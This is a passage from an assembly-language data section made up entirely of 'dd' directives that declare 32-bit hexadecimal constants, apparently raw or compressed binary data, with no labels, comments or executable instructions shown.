		dd 32CA5983h, 0C07FCD80h, 0CC09EC1Eh, 5C58E000h, 0F30FE9Dh
		dd 0A61A81F6h, 2FCEC560h, 4D00CB9Fh, 5C9D4645h,	4B268h
		dd 0F6F8F5B8h, 0BA3BBE3Ch, 0F1016271h, 865CD9F0h, 0A0FBEEE0h
		dd 41FE2h, 9FC49D99h, 372E323Eh, 0B00EBE07h, 0AA938A20h
		dd 0AD66B1DBh, 3D4F7DCh, 0EBF6F010h, 808C369Fh,	0F106AA20h
		dd 13D70200h, 68EE4A4Eh, 0EA581F2Ah, 4C50C18Ah,	205BDA03h
		dd 1D00D762h, 0A64E9609h, 1FE57E2h, 0CA8BDE6Bh,	0D41EA08Ch
		dd 5203890Dh, 1F0CC8DFh, 0BC0DDB1h, 90F56259h, 41AC0F4Ch
		dd 0A340D2D7h
		dd 38F8A135h, 0F00091E6h, 0D9949B3Ch, 1DBBF242h, 8E2D80h
		dd 1A86530Ch, 5703A3FEh, 8556A6F7h, 0B46F818Ch,	0A3F1C60h
		dd 0F6CB38FDh, 48910080h, 0E075538Fh, 315D3A00h, 197BEAD5h
		dd 0AAEC010Ch, 8BC4CB6Ch, 0B3AE2001h, 50000776h, 0B6A8C06Eh
		dd 0EC5F2A7h, 2DD0BBEBh, 0A51BECE0h, 0B70046DDh, 0E14F7CE0h
		dd 88D665h, 83EA3467h, 20F34A05h, 367B2D7Ch, 0E5AA3901h
		dd 7184FD58h, 3A4DE0h, 702E4321h, 96A02029h, 1DB52400h
		dd 31A752D7h, 0B3220F05h, 44E0F798h, 0DE782B87h, 33E32400h
		dd 0B5CB316Bh, 0AE97006Dh, 0A3CAB2Ah, 0EE9074C6h, 0E6304500h
		dd 0B1AD2E82h, 0C91F5849h, 755C0C01h, 0D41408ABh, 230012CCh
		dd 0F869D3Dh, 588FF769h, 4F053348h, 0C028EF91h,	8201E80Eh
		dd 8AD1E31Eh, 0D9045A41h, 0ABF99D53h, 0E2B760h,	0DD3C179Bh
		dd 2C45C6B5h, 4D2ACB00h, 4710A118h, 929400ECh, 5FA883F4h
		dd 325C7653h, 0E2D10053h, 291B67C1h, 40DC00AEh,	0C0BF14F3h
		dd 46005E52h, 809A34A5h, 3ABA6Eh, 0BD899CDh, 2A8FEE13h
		dd 81CA2E17h, 47C3C00h,	390F697Dh, 0EA801DE7h, 708CEF88h
		dd 0F91E95BFh, 7BA6AEFCh, 3EBAC602h, 1D0060D0h,	992700BDh
		dd 7D01B962h, 71EAAA0Eh, 3B93A207h, 8880CBC2h, 0F70FB0h
		dd 2FC12AA8h, 0C277F82h, 92076B74h, 3224E196h, 3150B477h
		dd 10B6556h, 8EB940D7h,	8093683Fh, 6D1C668h, 181AC3F8h
		dd 81A72167h, 2D00170Eh, 0FDAD5987h, 0A055B4h, 5010AC8h
		dd 0A4393214h, 5813C70Eh, 1774C077h, 13FBB17Ah,	1887E1C0h
		dd 0C5A84965h, 6234600h, 7BAB89FEh, 0DC920055h,	88C89DD4h
		dd 0D8771F08h, 49907C98h, 2DC0060Dh, 408078F3h,	0C3BFBECAh
		dd 0EA007D55h, 906AEE10h, 300A8451h, 3F28954Bh,	0D9000B58h
		dd 2F728F05h, 87C1D8h, 157A0DD0h, 688662C0h, 16AE50D3h
		dd 81F45FA0h, 5221E144h, 4F6FF4A1h, 0EBC8DC0Ch,	50C021BFh
		dd 4E1C87h, 9B74B689h, 0E9F877EDh, 988E1F00h, 0E5B85AC5h
		dd 0F99A0EB1h, 6540DC08h, 972228D0h, 5CCA1F00h,	1268AB4Dh
		dd 82EF0FF4h, 32C0BE63h, 7CEE6793h, 49F07B00h, 0C41A2BE3h
		dd 777A006Ch, 6BCB75EFh, 0BAF26A09h, 0AE87DE00h, 5214C1A4h
		dd 0C5CE0744h, 80734168h, 1355AA8h, 1BE83A14h, 0D81800E8h
		dd 83A9F23Fh, 75170095h, 20A8C941h, 0F50CE7D6h,	20F38B21h
		dd 7DDF8E0h, 86FC3BC6h,	0E0208AB0h, 0C8EE2922h,	25ED0784h
		dd 50B34FC6h, 192AC3ABh, 0E186B409h, 6BE18096h,	3EBE3F8Ch
		dd 0BD1F2949h, 0CD8300B0h, 77B89724h, 73F3A803h, 0F0989190h
		dd 90325939h, 4D610002h, 0B13415D9h, 95043E0Fh,	997BB7EAh
		dd 9AA52481h, 11D02825h, 0AB2E00AAh, 79B19596h,	0F10E58E2h
		dd 0A5496543h, 84005EA5h, 1AB055ACh, 9B41E44h, 8760F066h
		dd 84496BD4h, 0FCE9056Ch, 0A8004EFAh, 7E041A4Fh, 0FE965C80h
		dd 0B8ADBB18h, 7A007156h, 0EEF3A386h, 548FA8h, 0ED992B5Fh
		dd 251CE6A0h, 220280ACh, 32B035A1h, 0A900347Eh,	0E098D995h
		dd 0EEA29AD3h, 2599002Ah, 37B8669Eh, 6800C3AAh,	8E6147A4h
		dd 0C0FA2Fh, 10ECAC94h,	0F9E9A0BEh, 0E0E6EB30h,	58516861h
		dd 0D90781B3h, 0D2063F32h, 57C094EEh, 2C04A69Eh, 0B70A8E08h
		dd 48BD2480h, 85020AE4h, 5020B177h, 6212715h, 16F40798h
		dd 35B9C020h, 5D5C94CFh, 9DD93FB6h, 90E44C31h, 0CE43FA07h
		dd 0DDC33B10h, 0D47B1F2Ch, 0D0951297h, 573775B8h, 1136A400h
		dd 0BFE7B33Fh, 0C76E02D5h, 0C73A64Dh, 0B48A1D00h, 0DCF654h
		dd 34DA0E06h, 371C559h,	72AC6007h, 0C651BE42h, 0C08091AEh
		dd 0D2CECB0Eh, 620074B0h, 153E2FBDh, 0B241E5h, 541F378Bh
		dd 60D4CD6Bh, 0ADF07763h, 207CB80Bh, 0D97003F6h, 38A2E4C9h
		dd 998DBF90h, 0FBD7F900h, 0F1C823A0h, 0AF8907B2h, 20A93B04h
		dd 0A8F24D43h, 96EF4000h, 46AC1C25h, 827191h, 0A214328Dh
		dd 80570D37h, 5362BD00h, 0D0B0AC92h, 0F6E0CF6Eh, 8894E2A6h
		dd 0CAED3003h, 8FA07E35h, 19C480F9h, 0F6140D8Ch, 0D85F0021h
		dd 68BA632Fh, 5A1EFECFh, 8C0A2C7Eh, 5540047Ch, 0F85209A7h
		dd 3A50FC98h, 0CE8FBA01h, 4CA1B32Dh, 0EC0675C4h, 4407E547h
		dd 24FBE05Dh, 70E40B40h, 0A9E072h, 7B5E9DC4h, 46911BE9h
		dd 2F00EEF6h, 8407CFB4h, 0DEC54Ch, 54C84D53h, 0C031BF1Dh
		dd 19E17F00h, 0B4E3EA50h, 0A40097BCh, 0B67C73C5h, 0FCCA6803h
		dd 988E6D3Bh, 787174h, 0D52B0588h, 0C0C70CD2h, 0AE5B1903h
		dd 0F0325A6Ah, 9DA26Ch,	76015266h, 870EA371h, 6FD3E800h
		dd 6B4E92D0h, 0D2035C72h, 4A42200h, 0BF84440Eh,	0CE00AEFCh
		dd 247E6E93h, 19F8846h,	67454020h, 0EC3E5213h, 0FB00B5ABh
		dd 58434D89h, 18D673CCh, 0A025E539h, 411EF0FDh,	66D3740Bh
		dd 0CA8100EBh, 5B772CF1h, 0C346F00h, 306D2DE2h,	7E026065h
		dd 620B1E26h, 0AF51FC00h, 8482BF44h, 4EB2009Ch,	767CB652h
		dd 0A9006208h, 9941FCFAh, 36BAF2Ch, 0D05E3794h,	8D859D7h
		dd 0FD14248Dh, 0E88FA0h, 0AE8BFA55h, 21853Bh, 3DE491FEh
		dd 1470F973h, 2E2C1900h, 69D31D2Bh, 114F003Bh, 977355B2h
		dd 0B37FE1EBh, 0BA423C09h, 0FE10035Fh, 0C292B83Dh, 0DB5900E3h
		dd 0FDAFC6DEh, 0C400D896h, 0A578F62Bh, 0B976E1h, 8632980Dh
		dd 0EF6F4151h, 72A3AA00h, 3F58B1ACh, 80B30065h,	8D7E664Dh
		dd 0D51D0E14h, 7DC06239h, 0A1F25A36h, 7A7CFA30h, 383B0088h
		dd 0B8430270h, 4D00A0EFh, 1819EEE9h, 3D853F8h, 0CEAA768Ch
		dd 0D7C88AE6h, 3600F789h, 386D98EDh, 773C5473h,	11BB3C0Bh
		dd 32904100h, 0F51E2A92h, 9D5BD60Bh, 40005531h,	0DCE40C8Dh
		dd 0B0710C0h, 5AA491h, 41C047A1h, 0D6CF9C1h, 390023F4h
		dd 2B031E3h, 0D62CE6h, 0F5A533CEh, 1BEF6C45h, 23AD4000h
		dd 0CD5FA4D4h, 278100E4h, 0FAB5972Dh, 46008CDBh, 0A3A0F799h
		dd 76C635D7h, 8E1100E0h, 935A4EA4h, 102BB23h, 0CFC9B03Ch
		dd 5520C0C2h, 70A00025h, 273E7BE7h, 0E9009E78h,	45FC1F12h
		dd 6892D2h, 0CE154A6Eh,	0B27E0B6Bh, 0D12D3B00h,	0AB82BF9h
		dd 0A8A53B5Dh, 80E3B59Dh, 0EFFBF5B7h, 897594FFh, 638B0500h
		dd 0FC7D1C92h, 28F778C6h, 3A9A4CE7h, 0E0006E07h, 9E029644h
		dd 0C709C01Ch, 6F40DEh,	0C4E9701Fh, 278C0058h, 0FFC14434h
		dd 0FCB81D2Ch, 9841350Eh, 7C19409Dh, 130DDAFh, 64929ED6h
		dd 3015853Ah, 0DC77F054h, 40FBF300h, 66CFEFFCh,	192E00D0h
		dd 2347EAB9h, 8E78B643h, 8058F928h, 30BE6900h, 0B9865A3h
		dd 4A2F246Bh, 5AF600ADh, 12D435D8h, 0A02B9B00h,	589971ECh
		dd 1833DA4h, 8B4A818h, 0A3017CE9h, 215F413Bh, 27F8A9DEh
		dd 2EFC01A2h, 7BF777F5h, 0D303D047h, 4595000h, 0F69C5855h
		dd 98B3004Bh, 9AAFFA6Ah, 17072EEBh, 56C99461h, 0C7010910h
		dd 43F7001Dh, 33D49C70h, 0FE007D75h, 720E5882h,	0E452C0h
		dd 0E04FFB21h, 8C61ED13h, 55DC2600h, 0F95F3F69h, 0AA7700E6h
		dd 0EB477AE1h, 8009EAEh, 2E43DA18h, 296555h, 6960D188h
		dd 1B6F1427h, 0E1008EE4h, 6EB650BCh, 1D64226Bh,	40FDDD74h
		dd 861F2C80h, 0B3FAFFDBh, 38A624Ch, 79BCFB3Fh, 94FC887Ch
		dd 0F1250512h, 0AA8106A4h, 0FFA73DC0h, 7CCC3A84h, 24A90B80h
		dd 3ED49B50h, 0B6746500h, 0B809FE43h, 6C580039h, 0AFFFA6C6h
		dd 83005B05h, 0ADEDD706h, 25F1AA1h, 9D073F85h, 5B40FF30h
		dd 5B3C6671h, 446A80EDh
		dd 58ECF0DAh, 0E9E100F8h, 7D3B111Eh, 0C03E263h,	1CDCE807h
		dd 1027E88Eh, 0ECFC00DEh, 0A3B2048h, 53001874h,	64F94446h
		dd 0C82F8Ah, 79A90CF2h,	3C2C4D75h, 28C17300h, 0E4451647h
		dd 647B1Fh, 1DB494D4h, 0B1F8A344h, 0D8AA903Fh, 81C13ECDh
		dd 16A7F039h, 0E4E0380Dh, 337F0799h, 0F6DFE335h, 661C3664h
		dd 7FE5B78h, 368359CBh,	18FCEF00h, 1AA2C06Eh, 5AFB2CD7h
		dd 7090D37Ch, 0E912B8F0h, 7840149Eh, 22E50AB7h,	40060182h
		dd 0CC4D8D64h, 975FF0A2h, 63A7AD09h, 478980ACh,	774C92h
		dd 0CD506859h, 0C9BC204Eh, 95E7AA00h, 981DEB2Eh, 5B8900B4h
		dd 0BFEE9CE4h, 0A0F6B066h, 2400BDB8h, 0EDF13A06h, 1FF23317h
		dd 1DF7D01h, 7B392E61h,	0FE3F30FDh, 0F15C4000h,	0D605E0A3h
		dd 29370049h, 3341EDACh, 0CB07A13Ah, 0F78A7A84h, 469AE2F0h
		dd 2EDF001Ch, 73A23BEAh, 0E700487Bh, 57A00845h,	7771989h
		dd 20C73FD4h, 0C0E434F7h, 28A6FBA9h, 6B64F00h, 0E82C9802h
		dd 14739021h, 0A27482D1h, 1F88C101h, 0EC60A45Fh, 0D500ED2Eh
		dd 0BC823A35h, 0AD3D27h, 9FE5F496h, 8F575173h, 8D639h
		dd 4EDCC94Ah, 594B12h, 3A374658h, 0C5C4FA53h, 27E71300h
		dd 0BFFCA91Ch, 0A05B009Bh, 64B03980h, 0A7B019Fh, 59906900h
		dd 509AB4ABh, 746E007Bh, 30883589h, 0D3079633h,	0A3B5BB03h
		dd 598B9B00h, 2B5009BDh, 87F767F9h, 0B310E7DBh,	8F5206h
		dd 0C9F0973Eh, 9BBE6E48h, 2CA6400h, 0D9270719h,	953F813h
		dd 7E5FC4ACh, 0D8FECD00h, 0C20061F5h, 54D043C5h, 10AD9Fh
		dd 0A4093590h, 8BA09C21h, 0FC3B6700h, 0EEAE1F5Fh, 49C20053h
		dd 4097A7BDh, 0C8009148h, 223BC569h, 0A1F756h, 0BE90C2B0h
		dd 71C1EA1Ch, 6155AE2Dh, 0F9D4F677h, 4E5900A8h,	6553781Dh
		dd 0BA006A5Eh, 4CB842E1h, 687B7Fh, 39E06419h, 169B977Dh
		dd 4500B7E2h, 0FF8834EDh, 0F2B053h, 0E88140EFh,	0C7872846h
		dd 89855800h, 0D8F5FE23h, 601A6067h, 0F805503Eh, 17C273Ch
		dd 0A0E27EAAh, 0C9D39F30h, 888C583Ch, 1F109EE4h, 4C265A20h
		dd 0BD18DA4Eh, 0E2A6215Bh, 12EF1B00h, 6CDA2634h, 42AE078Fh
		dd 0B006D7B5h, 0E337241Dh, 4F35A806h, 3953DEh, 76C3E9EEh
		dd 4CF30950h, 29D71600h, 0C182B49Dh, 0C5900039h, 0E83494ACh
		dd 8E00FE0Dh, 0F9D7ECE2h, 17EF7209h, 182CCF5Eh,	6753980Ch
		dd 884D9C00h, 39E73C65h, 0C4EE0024h, 1C52385Dh,	0F9004687h
		dd 97F069CEh, 27188Bh, 0E48C7B65h, 1C45C1D8h, 0F6DDF10Fh
		dd 4B56098h, 0F77D15h, 3A9A8F38h, 464405DFh, 0E4C3F105h
		dd 79C0E597h, 0E2F43FA8h, 0F00E4E07h, 7D2C7774h, 9F3E6706h
		dd 22CFB262h, 0AFEAC0DAh, 1231433h, 0A7C34FE9h,	301E99ABh
		dd 901E64D4h, 0D214C05Dh, 0CB0300E6h, 0FE850915h, 98845077h
		dd 72760022h, 1AD3AE8Ah, 420491F5h, 5CFADD7Bh, 60291890h
		dd 3CA0A393h, 36008310h, 0F0435DE1h, 8A036BC7h,	0BBE77640h
		dd 2F75E9D7h, 18B9E4C8h, 810CBEBh, 94EAC5B8h, 0C88CF33Dh
		dd 9A067DF4h, 550B6C5Fh, 0D3820989h, 20006FE0h,	0B6E9E239h
		dd 2B8B3400h, 0EAE11B3Fh, 0A6CD072Dh, 504811DEh, 297191AEh
		dd 5994CA0h, 0BD42BA0Ch, 398D104Dh, 3600A4BCh, 0ECB90F76h
		dd 46000ED3h, 1B7B29C3h, 79FBD785h, 7C42176Dh, 0FE8C0088h
		dd 75719274h, 0D07A547Eh, 3E5A1D03h, 0C81088A5h, 7CA9BC28h
		dd 205868D3h, 2307FD04h, 27E0DBA6h, 0F33DE1h, 89CA260Fh
		dd 295E5D9h, 0D5E0F118h, 87B830h, 0A2D3F910h, 17D07E47h
		dd 78F328F9h, 0B7D0FA60h, 0AEC79FD6h, 940D2804h, 80048D0Ch
		dd 158FFD92h, 0BA00E7A3h, 3CD94C3Dh, 16F58B1h, 647187BCh
		dd 547B68A4h, 0CBD100Ch, 20955121h, 21867418h, 8E08C408h
		dd 5FE442B4h, 0E9DF8410h, 0B498F816h, 0EC7E18C2h, 35A82EA3h
		dd 0AD737C41h, 807B811h, 0DC24A811h, 6DC244EBh,	0CD40CA9h
		dd 0C4EBB0BAh, 24164019h, 50032438h, 50CC60B5h,	50B03C04h
		dd 50980CB3h, 229D18E8h, 0B453311Bh, 0CDC2A90h,	1D3C53EFh
		dd 0C40C0A8Dh, 0D8D68830h, 17F042h, 57A13F36h, 7D679C1Fh
		dd 0CE8E50Ah, 81AE5902h, 1501023Eh, 0AB16C000h,	0DFA6242Eh
		dd 0F7F14010h, 0E3038771h, 7EC43D3Bh, 6C9CA02Fh, 0E763003Eh
		dd 0F211D857h, 7000AF08h, 0C9C6B499h, 0E5C1ACh,	2C9ED393h
		dd 89052429h, 542DC780h, 1037F83Fh, 17457057h, 80006DEDh
		dd 440D735Ah, 0A38607D1h, 0CF6437Ah, 0BA0EF7A1h, 201C8996h
		dd 0D9B7B054h, 9224307Eh, 4AE3C188h, 11A86460h,	487B2C02h
		dd 0B3008B97h, 0F87614D6h, 0C75795A6h, 4E32C11Ch, 99E8361Eh
		dd 0F06E0450h, 83750FF9h, 6BC74F07h, 0D4FED400h, 621C6A87h
		dd 8B4185EEh, 71A3E5DBh, 82DFF0h, 0F24C7FFEh, 0C905C558h
		dd 39CB3B2Ch, 0EB47780Ah, 0AC978303h, 5310060Eh, 50E99635h
		dd 8D654001h, 89015D6Bh, 6621450h, 8F40A79h, 34E89Ah, 0D5D9B95h
		dd 0A70377ECh, 82CBF1D1h, 0E003C256h, 0B595C9h,	5253A410h
		dd 5E0CE7Bh, 57F3CA03h,	0BDA1BE2Dh, 6026B680h, 23F70062h
		dd 0E080366Fh, 0C506524Dh, 0EA24F6BEh, 7640098h, 14223F55h
		dd 4206EB05h, 8E082A0h,	81E668h, 0CB9CDF57h, 0AC4D9A11h
		dd 2418C27Ch, 0E3D1638Ah, 5F93A4Bh, 4056577Eh, 0ADB75C00h
		dd 0E6CDF566h, 806DDC3Fh, 0FF447C72h, 81C40Fh, 204CB74Bh
		dd 0B00E3B7Fh, 5931C0A8h, 86E776F0h, 0C7697A10h, 7FFAF0h
		dd 88C075B0h, 4EAACB5Ah, 0A2EE0D1Fh, 0D0CE7C07h, 8373F8C0h
		dd 1CAF621h, 577564BDh,	40C17FC5h, 87047C10h, 0C081A300h
		dd 8F241758h, 3D9D0C6Eh, 0A019CCBEh, 84081468h,	79546C0h
		dd 216919EBh, 0E0AB90DDh, 0A501358Dh, 5FE1D708h, 55F06A8Ah
		dd 1401F460h, 0BC6C62F1h, 9768147Ch, 4500FC83h,	4C3CE8E7h
		dd 3F414DEh, 74AF7B00h,	60AE4735h, 15D4F8DDh, 88B2E63Bh
		dd 59A612h, 4520BE48h, 7F30C621h, 5A87D8C4h, 0CB0A00B4h
		dd 0B8C2C974h, 9A1C4B30h, 0D9C03BC6h, 0CA776A6Fh, 4874E0DDh
		dd 2F3B2471h, 41302FCh,	3F32D7AAh, 0D0C18080h, 38124714h
		dd 10405A19h, 8EEF40F7h, 0CF8238E7h, 0C7F830Ah,	3B6F03A4h
		dd 0A11044C6h, 8F045C0Eh, 902BD8CCh, 1144D2B0h,	0DEC84E00h
		dd 302C3F8Ah, 2510029h,	0BC23DFD5h, 52717B97h, 0E9C58D18h
		dd 0A8AD7D8h, 0C08CBE29h, 2B448CDCh, 7C05E9B1h,	34046114h
		dd 3E713060h, 147E47D5h, 58D4E460h, 60CF3066h, 2448D987h
		dd 48CEFBh, 0B3F3717Eh,	0E00367Ch, 0B86AC5C2h, 48685B4Ch
		dd 79122034h, 2A0400A2h, 3118E48Fh, 957F7801h, 838E87E2h
		dd 0B07BDC23h, 0A689007Dh, 13C6F51Bh, 5E005FC7h, 8B849238h
		dd 18ECB36Ah, 507C714Fh, 8502708Ah, 427DF73Eh, 8E826088h
		dd 8110996Dh, 0D3E4B5D2h, 263FC4D8h, 9F478D3Eh,	7D526970h
		dd 0E8F23401h, 62208364h, 0F8820038h, 0A54A456Fh, 52066971h
		dd 67CFE8C6h, 0EE640CA0h, 24F9D3FBh, 0FC422C04h, 508A5393h
		dd 0E3A8AB01h, 36CEDE22h, 4A4C006Ch, 3E7D8FA9h,	526B002Ch
		dd 5BBFBB42h, 0DC021EB8h, 0E17FE9ACh, 8CB4408Dh, 0AAF800CBh
		dd 0A8804A84h, 0B90643D1h, 0E813714Eh, 79C503A1h, 0BEFD079Bh
		dd 47A9800h, 943B3375h,	88490EDh, 0BABB2871h, 7A7D5206h
		dd 0D58A0C39h, 92989839h, 0F6ED6B0Ah, 0B830FC06h, 50533125h
		dd 7EDBEC07h, 0F2409A1Bh, 372909BAh, 0E4A0C527h, 0AE838587h
		dd 0DCE7FA0Eh
		dd 915A8FBFh, 72A9AB01h, 60F2B667h, 31C4591Eh, 7E41A16Bh
		dd 801D3532h, 41DAF768h, 0C2569B59h, 0FA1BD928h, 77483448h
		dd 0B805EB00h, 0FB194262h, 0ADD0C09Eh, 4FC2FF75h, 1B090FE2h
		dd 20298CD5h, 432FA2ECh, 52C13035h, 69CF7711h, 11562023h
		dd 0AD9C82D1h, 14D0408Fh, 3A8471BDh, 3C03F2D1h,	83046CB7h
		dd 67C57800h, 0DB683D25h, 782A0F75h, 24605BEFh,	61A92D06h
		dd 9821860Bh, 0D218FB2h, 68A2B11Eh, 0F93D0304h,	43C1B0B1h
		dd 947B1902h, 40D1A11Fh, 4DD645D0h, 0AC0268ADh,	3BEF7C88h
		dd 0AF9E8868h, 4EBAD512h, 206BFC01h, 402455B9h,	0AA0D0ED2h
		dd 0D58047ADh, 961F87Dh, 143B01E2h, 0ECB712E7h,	181D2070h
		dd 27C8A8E8h, 48D48BEh,	155A451Eh, 0F5009095h, 0B24B12DAh
		dd 0A80AD9E6h, 0E4B15033h, 449F1882h, 6A7CC004h, 0A8621E53h
		dd 517FC699h, 10025112h, 90E44454h, 2365C0B4h, 0C7673093h
		dd 0F8085810h, 0E3ECD001h, 0BE9462DBh, 54173048h, 508C9C86h
		dd 79D0489Bh, 1B8E7F12h, 0EE6947FFh, 37D43101h,	0AF57F190h
		dd 98EF3980h, 7FAD6622h, 0D90D4100h, 0C7F75FF0h, 759001BCh
		dd 0CF9F2651h, 0CCA83072h, 15003CB1h, 43863836h, 688F000Dh
		dd 0B4CBC1F9h, 0C60FCED8h, 0AEDF80h, 5334925Bh,	0C52F14D7h
		dd 6D00E8FAh, 0FDBD620Bh, 0DAECB79Dh, 0C60383B0h, 88AF963Dh
		dd 1E09B093h, 6298B2A0h, 0D479D955h, 17FF7540h,	355A3Ch
		dd 984A2FE3h, 317D9Fh, 470D1DC9h, 2C7A2013h, 703980F9h
		dd 1C7D17D8h, 0E36100E4h, 6475DED1h, 431280C4h,	3C4F0FF3h
		dd 20E1C929h, 6CD08600h, 21750F66h, 54C001B2h, 1EF2D6D4h
		dd 8006F500h, 840EA23Ah, 392800EBh, 7A99AC88h, 0EC00A2Ah
		dd 6067E929h, 0B49F546Bh, 91E3609Ch, 4CB4FEF6h,	801C0D3Ah
		dd 4446FA17h, 0F27F28h,	0C8610709h, 6967EA6Bh, 0FB12B600h
		dd 1C87DD56h, 0A8FAF45Fh, 5F6068Ch, 0ADEEC6E5h,	62049007h
		dd 2D000D87h, 9E23C969h, 42BD90h, 26C8754Bh, 0DE73BCD1h
		dd 4D00CC98h, 5B57B625h, 9643FFh, 3B768FFBh, 0F4F7A687h
		dd 5286410Bh, 73900030h, 6B65A2h, 51EF631Fh, 93AA5A09h
		dd 0F0124000h, 95417252h, 0DEA31D8Bh, 4E9801B8h, 0ECA0E94Fh
		dd 9D3E5359h, 0D8EA0076h, 6993A7F7h, 3B960198h,	2B0B4CFDh
		dd 4B1DC0CAh, 63CDF400h, 0D71F0FD5h, 49590B40h,	858093A8h
		dd 0B354AEAAh, 0A26DF106h, 8660FBh, 62C063B2h, 25E7C947h
		dd 8095D403h, 0C0368341h, 7A7759ECh, 49CF004Bh,	0FFBA9E63h
		dd 160076F8h, 0CEEDD13Fh, 4B474Fh, 6C01E9F3h, 6EBF9989h
		dd 0EEC4A60Ah, 23009E7Fh, 78812EA7h, 0CC24008Dh, 0D0540167h
		dd 76001795h, 6123AD47h, 55B6D6h, 1843356Dh, 534CA954h
		dd 0DEE5E800h, 690FEF96h, 28BA002Bh, 0A2859335h, 4F70C52Ch
		dd 0E81F11Ch, 0BA00DBA8h, 58279DB7h, 190AB8h, 678CD410h
		dd 0D9356A74h, 5E019FFAh, 8AF51DFFh, 8CE4D6ABh,	3B0B6h
		dd 0FDD9AE76h, 8D66DBDFh, 1FECF03h, 982EA371h, 0DA156Ah
		dd 0D4A06438h, 3A61B360h, 2309E700h, 0D70745F6h, 0E13F0EF9h
		dd 0C05F3EE6h, 0B4F7CC27h, 3518DAE8h, 178045EAh, 2CBE00AFh
		dd 2048C0FBh, 4AD3F9Fh,	710EAA00h, 40E260h, 0FF52F89Dh
		dd 2B74199Bh, 2E1D1800h, 7DC7EF2Fh, 22570044h, 42D48B72h
		dd 2A003746h, 9F6914D5h, 350762Bh, 8E3D33Fh, 63A00D38h
		dd 4B00A77Ch, 9EA8BB5Fh, 0D2160Eh, 5E84E810h, 8BA6E01Dh
		dd 0C550BD0Eh, 4241631Bh, 0D8FCD0C4h, 29EF0043h, 0B581D77Fh
		dd 0E2097C04h, 4BCBA9h,	84410C70h, 0C1E22Dh, 4E15064Ch
		dd 463295A8h, 250074FEh, 455F87BEh, 8C271h, 89B1A404h
		dd 0F8972CB9h, 54CD307h, 7CC025FDh, 57D64Fh, 0F7E626F4h
		dd 1A7B037Eh, 9EE1A701h, 0A9671EA3h, 75CAD4h, 0DB276677h
		dd 87446FEAh, 82F2E500h, 0FF14C0D1h, 0C985000Fh, 1690F759h
		dd 0BAE4CB21h, 7DFE15Ch, 9AD9FC5Ah, 0F0EE7580h,	579B0018h
		dd 0B53CAF04h, 34007CB9h, 354994C4h, 44F923h, 7E532ACDh
		dd 45218C0Ah, 3A128200h, 9ADF0930h, 44D900F1h, 0E15818EEh
		dd 0FC3E17E0h, 0AE1B0068h, 4D1589E6h, 1F50C099h, 3AC4722Bh
		dd 2E74200h, 0C7385FB1h, 0AA8700A3h, 0EAD163DDh, 9B03A9AFh
		dd 13608D96h, 0B94800B1h, 97AAF275h, 580ECFE5h,	477651E2h
		dd 5EF0ED5Ah, 3B9D3D7h,	0F7802842h, 0C3F8DABEh,	7300D61Fh
		dd 8FC84CB3h, 3E379BFDh, 0E07D423h, 0A0066EE0h,	7D393FC3h
		dd 9145E900h, 0FC891BE5h, 0D40B1D64h, 0C055C05Fh, 0FEC732E1h
		dd 0CCE3DA1Eh, 9879A8C1h, 49603F47h, 25AF0050h,	8414AA9h
		dd 5F00A562h, 0DD13B172h, 0BC4788h, 0C1282126h,	6C12E197h
		dd 75FB6800h, 0A49880A6h, 62F635h, 404244F0h, 0D5FCF54Bh
		dd 0D3506101h, 995EDDE6h, 3CA57F60h, 55025789h,	0CB70D12Ch
		dd 8892BF80h, 0EA00D5BDh, 492E207Ah, 1C891E54h,	3B919D2h
		dd 9F36A1A7h, 3CFF4798h, 4200997Ch, 98BE3901h, 1EB5229h
		dd 312AAF97h, 70FC88B1h, 30013D9h, 861A581Fh, 7EF2DBh
		dd 45479992h, 0A82454E2h, 9F8F3200h, 379456E6h,	1FCAB015h
		dd 8042B499h, 45BD368Bh, 0C207B938h, 0F1E89C76h, 0F30A0C10h
		dd 0F7AE00FAh, 9A8CBD53h, 0D800CE80h, 29B240FEh, 0C9ACC3h
		dd 3C46088Ah, 2884D16Fh, 1C70BA00h, 275AF883h, 6B5201C9h
		dd 0B97C0FADh, 80E30C4h, 0EDEA5700h, 73451216h,	1BB801C7h
		dd 0AC52E1ECh, 0C075CE0Dh, 7D42DADh, 164004BEh,	4D6B304Ah
		dd 7AEE66AAh, 83D8853Fh, 0E721A20Dh, 40B68889h,	9AEA00B7h
		dd 0DA316732h, 3400C6B2h, 4ED2FEE1h, 3A79EFDDh,	880C9CCh
		dd 1C5CF9EAh, 432E90FFh, 3C3B0CDAh, 1D800EEh, 8B3661B8h
		dd 2F650048h, 589039ACh, 0EF005970h, 0CDC586EEh, 0BC99C3h
		dd 9A4B5634h, 18ACD621h, 0A200D4E0h, 0FA0F98Ah,	9EFFFh
		dd 0E024C7B6h, 367085E8h, 1170FD79h, 0A88FD00Fh, 0F98DE01Bh
		dd 0AB31D7h, 0DC4CC08Bh, 0A381793Dh, 0E711C800h, 7D939050h
		dd 2420066h, 0F6297AAFh, 0C8004D1Dh, 0F8F376C0h, 24E9B1DCh
		dd 0E5B6CDh, 0F5B38988h, 7A0269FAh, 0F6AC5425h,	9204058h
		dd 0A29300B7h, 839221EFh, 44F49A45h, 843BF00h, 0ACF96ABBh
		dd 0C1F300B2h, 6EB95B3Dh, 2399673h, 80B43A68h, 8BCAC21Eh
		dd 0ED0D4BCh, 1D4A6572h, 31C9C03Fh, 50C858EEh, 173F5B00h
		dd 0D6803384h, 0FE3D0B1Fh, 681734Ah, 0C85C55F8h, 0DB00CB47h
		dd 69F2C3C0h, 0BDEF3Dh,	6C0D30A9h, 0AF084F07h, 447C647Bh
		dd 946B3B00h, 1441E301h, 6F4D00D9h, 7B88B9B0h, 0ED127DF8h
		dd 1C0107E0h, 1436912Ah, 1A78F0h, 1D778FB4h, 7E5BD76Dh
		dd 0A2228800h, 0C9F3E8C4h, 8490030Ah, 0B91DAD0Fh, 2526FE8h
		dd 0B38ABD28h, 6C930C17h, 7F737B00h, 7E3069h, 4A354745h
		dd 0BDCF58AAh, 0A3C36D00h, 0B94202C1h, 1DE900F9h, 0A183685Bh
		dd 8E588657h, 4A7E0023h, 4839DD5Fh, 0E77005Ch, 561689F2h
		dd 76071079h, 8DBAFA5Dh, 6D965FC0h, 26540070h, 7E18D68Bh
		dd 800B4C3h, 75C0E2E6h,	0EA1159BBh, 0C271EEh, 70302136h
		dd 0C384E05h, 6E1A7300h, 0EC9E62E8h, 3F94E4C3h,	0F4874Ch
		dd 0C58BC6A7h, 0AD249FB5h, 3E9EEF00h, 0FB5E9180h, 829A00B3h
		dd 6B7E967Ah, 240123E4h, 0BB0E9DDBh, 0E2603120h, 588301D3h
